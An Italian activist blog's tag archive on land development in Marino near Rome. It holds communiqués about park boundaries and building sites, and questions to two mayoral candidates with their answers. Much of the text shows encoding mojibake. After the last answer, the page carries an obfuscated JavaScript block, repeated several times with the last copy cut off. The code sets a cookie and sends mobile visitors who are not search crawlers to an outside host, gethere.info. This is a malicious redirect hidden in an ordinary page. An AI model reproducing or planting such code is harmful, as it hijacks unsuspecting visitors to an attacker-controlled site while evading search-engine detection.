Archivi tag: mazzamagna

Giovedi 29 novembre h.18.00 – Incontro pubblico alla “Bibliopop” di S.Maria delle Mole

COMUNICATO

Giovedì 29 novembre dalle ore 18.00 presso la “Biblioteca Popolare” a S.Maria delle Mole(via Mameli-via Bassi), l’Assemblea contro la Cementificazione di Marino invita la popolazione a partecipare ad un incontro pubblico per condividere le informazioni riguardanti l’ampliamento del Parco dell’Appia Antica e le vicende connesse al progetto da 1,3 milioni di metri cubi di cemento del Masterplan 2011.

Si cercherà di comprendere quali tutele nella zona del Gotto d’Oro verranno assicurate dall’art.7 della legge n°7 votata di recente in Regione Lazio e cosa accadrà nelle zone escluse da tale ampliamento, per esempio Mugilla e Mazzamagna.

I progetti di “Parnasi” e “DeA Capital” da oltre 4.000 nuovi abitanti e un mega centro-commerciale sono effettivamente archiviati, anche alla luce dell’operazione della magistratura che a giugno ha svelato i legami tra imprenditoria e partiti politici che si mettevano a disposizione del miglior offerente ?

Perché nella zona di Mugilla si continua a costruire attorno alle scuole “Verdi” e “Ciari” ed essa non è stata inclusa, come inizialmente previsto, nella nuova perimetrazione del Parco dell’Appia Antica ?

Ci sarà spazio per accennare di altri progetti che nulla di buono portano al territorio di Marino e ai suoi abitanti, come un nuovo centro commerciale sulla via Nettunense e l’eventualità che il Palaghiaccio lasciato all’incuria dalla società che lo gestiva diventi un Esselunga, cioè cambi destinazione d’uso.

Infine, scopriremo insieme se i danni causati dai costruttori che stanno cementificando intere zone quali Palaverta, Quarto S.Antonio, Castagnole, Costa Caselle hanno subito una battuta d’arresto oppure continuano ad essere rilasciati dal Comune di Marino permessi a costruire nonostante la conclamata assenza di servizi pubblici di tutti i tipi.

Saranno proiettate immagini, cartine e documentazione utili a comprendere meglio la situazione.

Marino ha superato i 45.000 abitanti. Dopo 20 anni di stabilità, dal 2001 la classe politica e imprenditoriale ha deciso di mettere a profitto i luoghi in cui viviamo e da allora ogni anno si cresce di circa 1.000 abitanti.

C’è ancora la necessità di continuare ad organizzarci per difendere le condizioni minime di vivibilità nel territorio in cui viviamo.

Per questo invitiamo di nuovo tutti/e a partecipare alle iniziative, ad iniziare dall’incontro di giovedì 29 e dalle riunioni settimanali che si svolgono tutti i lunedì alle 21.30 presso la sede del CdQ di S.Maria (via N.Tommaseo, accanto alla scuola “Morante”).

Marino, 27 novembre 2018

Assemblea contro la Cementificazione

http://stopcemento.noblogs.org — stopcemento@inventati.org

Locandina incontro 29 novembre – Stopcemento – in PDF

Comunicato per assemblea del 29 novembre – Stop Cementoo in PDF

Ampliamento del Parco dell’Appia Antica: dentro “via del Divino Amore”, fuori “Mugilla” e “Mazzamagna”

L’Assemblea contro la Cementificazione apprende con soddisfazione l’ampliamento del perimetro del Parco dell’Appia Antica che includerà anche la zona di “via del Divino Amore” ove Parnasi, INPS, Ecovillage, DeA Capital tentano da anni di insediare 5.000 nuovi abitanti ed un enorme centro commerciale.

In attesa della pubblicazione sul bollettino ufficiale della Regione Lazio, a seguito della discussione e della votazione avvenuta in sede di consiglio regionale dello scorso 24 settembre, ci sembra doveroso rendere pubbliche alcune considerazioni sull’argomento.

Se l’ampliamento del Parco dell’Appia Antica sarà efficace contro la speculazione dei palazzinari (in atto formalmente dal 2011) allora significherà la salvaguardia di centinaia di ettari nel solo comune di Marino che potranno finalmente evitare di essere messi a profitto a scapito dei residenti e dei pendolari ed un grosso pericolo sarà scampato dopo anni di lotte nelle piazze, nei dintorni dei cantieri e nelle sedi istituzionali.

Probabilmente tale decisione è anche frutto anche dell’operazione “Rinascimento” che ha svelato quello che tutti sospettavano, cioè i legami tra il palazzinaro Parnasi e i gruppi politici presenti in Regione Lazio e nell’amministrazione comunale di Roma. Ricordiamo infatti che in cambio di favori verso il noto palazzinaro romano risulta(va)no a suo libro paga Palozzi (ex sindaco marinese e vice-presidente della Regione, Forza Italia), Michele Civita (ex assessore regionale, PD) e Luca Lanzalone (già presidente ACEA, Movimento 5 Stelle).

Quello che invece ancora non ci torna riguarda la zona denominata “Mugilla” dove alcuni costruttori locali sono riusciti negli ultimi anni a costruire 8 palazzine (su 17 previste) proprio di fianco a due importanti plessi scolastici di S.Maria delle Mole, in piena zona archeologica, adiacente al Parco dell’Appia Antica.
Tanto che gli stessi palazzinari hanno chiamato tale scempio “La Casa nel Parco”.

Nel corso degli anni sono stati presentati diversi ricorsi al TAR, ancora pendenti e mai discussi, ma anche diversi esposti proprio al Comune di Marino riguardanti sia la normativa regionale sulle emissioni di CO2 non rispettata dai costruttori sia la violazione palese del costruito che portò, a luglio 2017, alla sospensione dei lavori nei cantieri.

Già nel 2016 il Comune di Marino a guida M5S poteva e doveva intervenire per bloccare la costruzione di almeno 4 delle 8 attuali palazzine, frutto di due permessi a costruire rilasciati dalla precedente amministrazione di centro-destra tramite l’allora dirigente comunale Petrini.

Il TAR ha poi dato ragione allo stesso Comune di Marino che aveva fatto sospendere i lavori di costruzione a Mugilla (ordinanza luglio 2017, sentenza maggio 2018) ma tale vittoria non ha avuto seguito nonostante un nuovo nostro recente esposto che chiedeva di agire in tal senso: così i lavori delle ditte locali proseguono tranquillamente e, ormai, la scuola elementare e l’asilo si ritrovano face-to-face ai nuovi palazzi in vendita a caro prezzo.

La cementificazione di Mugilla, metà delle cubature previste (a cui vanno sommati gli abusi edilizi degli stessi costruttori), sembra essere continuo oggetto di contrattazione con le controparti societarie le quali risultano peraltro morose nei confronti del Comune di Marino per altri insediamenti edilizi. Perché permettere a tali soggetti di continuare l’opera di devastazione e di saturazione urbanistica in una frazione che ha sempre più abitanti e sempre meno servizi pubblici ?

E’ di questi giorni la notizia di controlli in 44 cantieri edili proprio a S.Maria delle Mole con la denuncia di 15 titolari di altrettante ditte e multe per 33.000 euro nei loro confronti, per un’opera di contrasto al lavoro nero ed alle condizioni di (in)sicurezza in cui gli operai spesso vengono a trovarsi. In questi casi, fateci caso, mancano sempre i nomi delle ditte, quelli dei denunciati, le foto in prima pagina e tutto ciò che di solito avviene per altri “mostri”. Ma qui si tratta di imprenditori e allora si usa il guanto di velluto…

http://www.castellinotizie.it/2018/09/29/marino-lavoro-nero-nei-cantieri-edili-15-denunciati-a-santa-maria-delle-mole/amp/

Infine, la zona di cui si parla meno, quella di Mazzamagna (adiacente a quella di via del Divino Amore) preoccupa non tanto per un imminente pericolo di costruzione quanto perché comunque prevede l’insediamento di 3.000 abitanti e anch’essa non farà parte del Parco dell’Appia Antica. Non vorremmo che ulteriori cubature venissero delocalizzate in tale area dove, tra l’altro, è prevista comunque la costruzione di un centro commerciale dal nome evocativo: “Marino Green”. Il quale potrebbe fare il paio con un’altra non proprio piccola speculazione: la conversione del palaghiaccio in centro commerciale “Esselunga”, la quale sembra abbia acquistato 4 anni fa la proprietà dello storico impianto realizzato in occasione dei mondiali di calcio di “Italia 90”. Tanti bei milioni di euro spesi da una società privata sono giustificabili solo con la certezza del cambio di destinazione d’uso. E chi c’era 4 anni fa ad amministrare il comune di Marino ? Qualcuno che abbia fornito tale certezza che, ad oggi, non è per nulla stata smentita dalla nuova amministrazione. Staremo a vedere se ciò avverrà, come ci auguriamo.

Nei prossimi giorni dovrebbe essere pubblicato ufficialmente tutto quello che concerne l’ampliamento del Parco dell’Appia Antica mentre lo scorso 10 agosto il consiglio comunale di Marino ha approvato una delibera che prosegue l’iter di sospensione dell’efficacia dei PRINT Mugilla-Mazzamagna-Divino Amore che, ad oggi, non trova ancora spazio nell’albo pretorio. In attesa di questi documenti, la lotta contro la cementificazione non può dirsi conclusa ma, anzi, va rilanciato lo spazio di discussione e approfondimento settimanale che portiamo avanti dal lontano 2011.

Appuntamento quindi lunedì 1 ottobre, ore 21.30, presso la sede del CdQ di S.Maria delle Mole, via N.Tommaseo.

Risposte dei candidati sindaco Eleonora di Giulio e Carlo Colizza

AGGIORNAMENTO: DOPO AVER INVIATO LE DOMANDE AI DUE CANDIDATI SINDACO, ABBIAMO DA POCO RICEVUTO LE LORO RISPOSTE CHE PUBBLICHIAMO DI SEGUITO RIPORTANDOLE IN CORSIVO

—————————————————————————————————————————–

Sono state da poco inoltrate alla Di Giulio(centro-sinistra) e a Colizza(M5S) le domande che trovate di seguito, cosAi?? come deciso lunedAi?? scorso in assemblea.
Pubblicheremo le risposte non appena le riceveremo (o le leggeremo su qualche sito).
Per conoscenza, le stesse domande sono state spedite anche ai locali organi di stampa.
L’intento A? quello di esplicitare ancor di piA? gli atti pratici che ciascuno dei due vorrAi?? intenderAi?? realizzare una volta eletto/a.
—————————————————————————————————————————–

L’Assemblea contro la Cementificazione del Comune di Marino intende rivolgere agli aspiranti sindaco, Carlo Colizza ed Eleonora di Giulio, e ai partiti/movimenti di cui sono espressione sul territorio alcune domande inerenti le questioni dell’opposizione alla devastazione di circa 160 ettari di Agro Romano per un totale di 12.500 nuovi abitanti, cosAi?? come previsto nel ai???Masterplanai??? approvato con le delibere comunali del 3 agosto 2011.

In questo periodo elettorale abbiamo letto molte dichiarazioni, di ambo gli schieramenti, e crediamo ai??i?? per non lasciare spazio alle interpretazioni ai??i?? sia giusto chiedervi come intendete proseguire la vertenza contro i progetti di cui sopra, sia se vi troverete tra i banchi della maggioranza, sia se sarete tra quelli dell’opposizione.

Infatti,negli anni precedenti siete riusciti a collaborare ai??i?? eravate nel M5S, nel Movimento per il Cambiamento e nell’Unione di Centro Sinistra ai??i?? proprio sull’opposizione ai progetti speculativi riguardanti il raddoppio dei centri abitati di S.Maria delle Mole e Frattocchie.

PREMESSA NAi??1

Il 27 novembre 2014 avete richiesto in Consiglio Comunale l’annullamento in autotutela delle delibere del 3 agosto 2011 e seguenti, riguardanti la cementificazione di via del Divino Amore, Mazzamagna e Mugilla. Il Consiglio Comunale si protrasse fino oltre l’una di notte con il chiaro intento, non riuscito, di far allontanare le decine di persone che erano intervenute per sostenere questa importante richiesta. Ricordiamo i diversi ricorsi pendenti al TAR proprio contro quelle delibere comunali (e gli altri sulle delibere regionali) perchAi?? del tutto illegittime.

DOMANDA NAi??1

Annullerete/revocherete quelle delibere ed i successivi atti amministrativi ad esse collegati una volta che ne avrete il potere e, quindi, la possibilitAi?? ?

DI GIULIO: Due specifiche. Uno: la logica del “potere” non mi appartiene nAi?? mai mi apparterrAi??. Ecco perchAi?? tutte le mie battaglie sono state fatte – ampiamente documentabile – nella logica della correttezza amministrativa, nel rispetto delle leggi e nell’ottica dell’attenzione al territorio. Due. La possibilitAi??, in qualitAi?? di Sindaco di Marino, di visionare tutti gli atti e i documenti relativi alla questione in oggetto, garantisce – e lo ribadisco anche in questo caso – il rispetto dei cardini del mio mandato: misurabilitAi??, concretezza e condivisione. In base a quello che troveremo nelle carte (e sono centinaia) presenti a Palazzo Colonna e relative alla questione prenderemo le decisioni da prendere, sempre tese alla tutela del territorio e non del suo ulteriore consumo scriteriato. Ci batteremo, anche dopo, sempre nel rispetto di leggi e norme, per arrivare alla soluzione migliore per la collettivitAi??, per lai??i??Ente Comune e per ambiente e territorio.

COLIZZA: Possiamo dare una risposta semplice ed una piA? articolata.
Quella semplice: Confermiamo che fermeremo la speculazione del Divino Amore senza procedere mai ad alcuna ai???rivisitazioneai??? e senza alcun costo per i cittadini di Marino.

Quella piA? articolata:
Conosciamo bene i contenuti della mozione richiamata in premessa. Lai??i??abbiamo scritta noi e poi abbiamo chiesto la firma del piA? ampio schieramento possibile. Solo il PD non firmA? quella mozione. Ma conosciamo bene anche i contenuti della mozione firmata a Giugno 2015 dal Consigliere Tammaro, quelli della interrogazione sulla questione Acqua del Novembre 2012, quelli della mozione del Settembre 2013, quelli della interrogazione del 16 Marzo 2015 (scarichi Mugilla e indagini su Co2). Conosciamo ed abbiamo condiviso ed archiviato tutti i documenti della vicenda perchAi?? anche a livello del M5S Regionale abbiamo lavorato a fondo per bloccare quella speculazione. Mentre noi lavoravamo per bloccare tutto il PD a livello Regionale ed a livello di Marino non faceva nulla.
Se i Cittadini sceglieranno il M5S, appena insediata la nuova Giunta non solo riprenderAi?? tali mozioni e punto per punto verificherAi?? la situazione degli atti amministrativi ma convocheremo immediatamente una conferenza di servizi (cosAi?? come previsto dalla delibera 35 del 3 agosto 2011 e mai convocata) con tutti gli Enti interessati (Regione, CittAi?? Metropolitana, ASL, ACEA, Parco Appia Antica, varie soprintendenze interessate, chiamando anche Comitati e portatori di interessi). Inoltre avvieremo immediatamente lai??i??iter per una variante generale che recepisca a livello di Piano Regolatore le prescrizioni del Piano Territoriale Provinciale Generale il cui mancato rispetto A? stato oggetto del ricorso al TAR da parte della CittAi?? Metropolitana contro la Regione Lazio e contro il Comune di Marino.

PREMESSA NAi??2

Sono partiti i cantieri in zona Mugilla, che prevedono 400 abitanti in 17 nuovi palazzi a ridosso delle scuole ai???G.Verdiai??? e ai???B.Ciariai???. Per quattro degli otto palazzi di cui finora si conoscono con certezza gli atti relativi ai permessi a costruire, non sono state prodotte le necessarie relazioni sui rilevamenti di CO2, cosAi?? come previsto dalla normativa regionale. Lo scorso anno un’aula del plesso della ai???Verdiai??? A? stata evacuata poco dopo i primi scavi per i sondaggi archeologici. Quegli ettari, contigui al Parco dell’Appia Antica, andranno definitivamente persi e stanno creando preoccupazione tra i genitori, il personale scolastico e gli alunni delle due scuole.

DOMANDA NAi??2

I candidati sindaco hanno avuto modo di effettuare un sopralluogo per accertarsi dello scempio che si sta perpetrando? Quali interventi urgenti pensate di attuare per fermare i cantieri di ai???La Mole 2ai??? e ai???Cristina s.r.l.ai??? ?

DI GIULIO: Sono stata sul posto, si. La politica, quella vera intendo, si fa con atti amministrativi legali e legittimi. Ripeto: le carte che troverA? a Palazzo Colonna mi daranno la dimensione reale dello status quo a fronte del quale si potrAi?? impostare una seria attivitAi?? amministrativa, coerente e finalizzata alla tutela del territorio, della salute e, quindi, dei cittadini tutti. Per agire avrA?, avremo, necessariamente bisogno di valutare la situazione esistente sia dal punto di vista amministrativo, che legale. E lo faremo.

COLIZZA:Ai?? Quello che sta succedendo a Mugilla lo conosciamo bene. Eai??i?? uno scempio, siamo perfettamente dai??i??accordo. Non solo si sta distruggendo un territorio prezioso ma lo sta facendo anche male, costringendo i ragazzi della scuola a sostituire con un muro di cemento lo spazio verde precedente. Dal punto di vista amministrativo vale quanto indicato alla risposta precedente. Riteniamo che tutta la lottizzazione vada fermata con urgenza.

PREMESSA NAi??3

Sono numerosi e acclarati i casi di corruzione legati al rilascio di permessi a costruire, A? evidente lo scempio urbanistico attuale che si nota girando in ogni angolo del comune, sono molti i procedimenti penali che coinvolgono il massimo dirigente, ing. Stefano Petrini, e altri dipendenti degli uffici limitrofi al suo.

DOMANDA NAi??3

Quali provvedimenti concreti prenderete nei confronti dell’ing. Petrini e degli altri dipendenti? Saranno tutti sostituiti o continueranno a lavorare come hanno fatto in questi anni ?

DI GIULIO: Mi sembra una domanda da caccia alle streghe. Io mi occupo di atti amministrativi corretti e legali, la magistratura, a fronte di irregolaritAi??, farAi?? il suo. L’amministrazione pubblica non A? un terno al lotto, da dove estrarre i buoni e lasciar cadere i cattivi. Anche perchAi??, come saprAi??, c’A? un coordinamento a piA? voci. Tra queste ci sono i sindacati. Anche le sostituzioni vanno eseguite rispettando le leggi. E le condizioni contrattuali sottoscritte. La differenza tra un “tempo determinato” e un “tempo indeterminato”, per esempio. Anche in questo caso bisognerAi?? valutare la situazione esistente e prendere decisioni che tutelino per prima cosa la collettivitAi??. Esamineremo con attenzione, leggi e norme alla mano, questo A? chiaro, quanto prodotto (e come) negli anni. Poi sapremo prendere decisioni nella massima trasparenza.

COLIZZA: Se i cittadini di Marino daranno al M5S il compito di amministrare Marino sarAi?? il segno che esiste una chiara volontAi?? di cambiare pagina. Questo ci consentirAi?? di andare a fondo e agire per il ripristino della legalitAi??. Intendiamo inoltre aprire una fattiva collaborazione con tutti quegli organi dello Stato che stanno indagando per agevolare il loro lavoro e fare in modo che possa terminare prima possibile.

PREMESSA NAi??4

Il Commissario Prefettizio, dott.ssa Enza Caporale, lo scorso 15 marzo 2016, con la Deliberazione NAi??21, ha imposto il pagamento di tariffe (finora non dovute) per ottenere gli atti amministrativi. E’ stata particolarmente attenta a bastonare le richieste di atti riguardanti le pratiche edilizie: dai 70 ai 100 euro. In questi anni, se si A? riusciti ad esercitare un certo controllo e far emergere diverse problematiche A? stato proprio grazie al libero accesso a determinati atti, seppur spesso ci si A? imbattuti in ai???ritardiai??? e in qualche ai???diniegoai???.

DOMANDA NAi??4

Chi vincerAi?? il ballottaggio revocherAi?? questa deliberazione che frena il libero accesso agli atti amministrativi ponendo ad oggi il singolo cittadino davanti ad un esborso economico per i cosiddetti ai???diritti di ricercaai??? che riteniamo assolutamente non dovuto , dato che si tratta di un normale servizio di un dipendente pubblico ?

Per ora, crediamo che queste domande siano chiare e sufficienti. Speriamo che le vostre risposte lo saranno altrettanto e, da parte nostra, riteniamo la revoca/annullamento delle delibere del 3 agosto 2011 non un punto di arrivo, ma un fondamentale passaggio che non esaurirAi?? comunque la necessitAi?? di continuare ad opporsi agli appetiti dei politici e degli imprenditori che vogliono continuare a imporre i loro interessi contro quelli della collettivitAi??.

Le risposte che ci perverranno saranno rese pubbliche, a beneficio di tutti/e.

Assemblea contro la Cementificazione — stopcemento@inventati.org — http://stopcemento.noblogs.org

DI GIULIO: In questo caso, sempre premettendo un attento esame sia delle norme che delle leggi, ma anche degli atti deliberati dal Commissario, ritengo sia necessario evitare di aumentare impropriamente i costi per ogni tipo di accesso agli atti della Pubblica Amministrazione. Il cittadino deve essere favorito nella sua partecipazione alle scelte. E lai??i??accesso agli atti A? uno dei primi passi in questo senso.

COLIZZA: Da pochissimi giorni (16 Maggio 2016) il Governo ha emanato nuove norme per quanto riguarda lai??i??accesso agli atti ed ai dati pubblici (denominato FOIA ai??i?? Freedom of information act). Dobbiamo ancora nel dettaglio vedere il testo del DPCM ma sembra acclarato che la consegna digitale non darAi?? luogo ad alcun costo per il richiedente. SarAi?? nostra cura adottare immediatamente le modifiche strutturali necessarie per rendere il rispetto di tale nuova normativa immediato ed a basso impatto di lavoro per gli uffici tramite una riorganizzazione dellai??i??archiviazione dei documenti.

Ai??var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 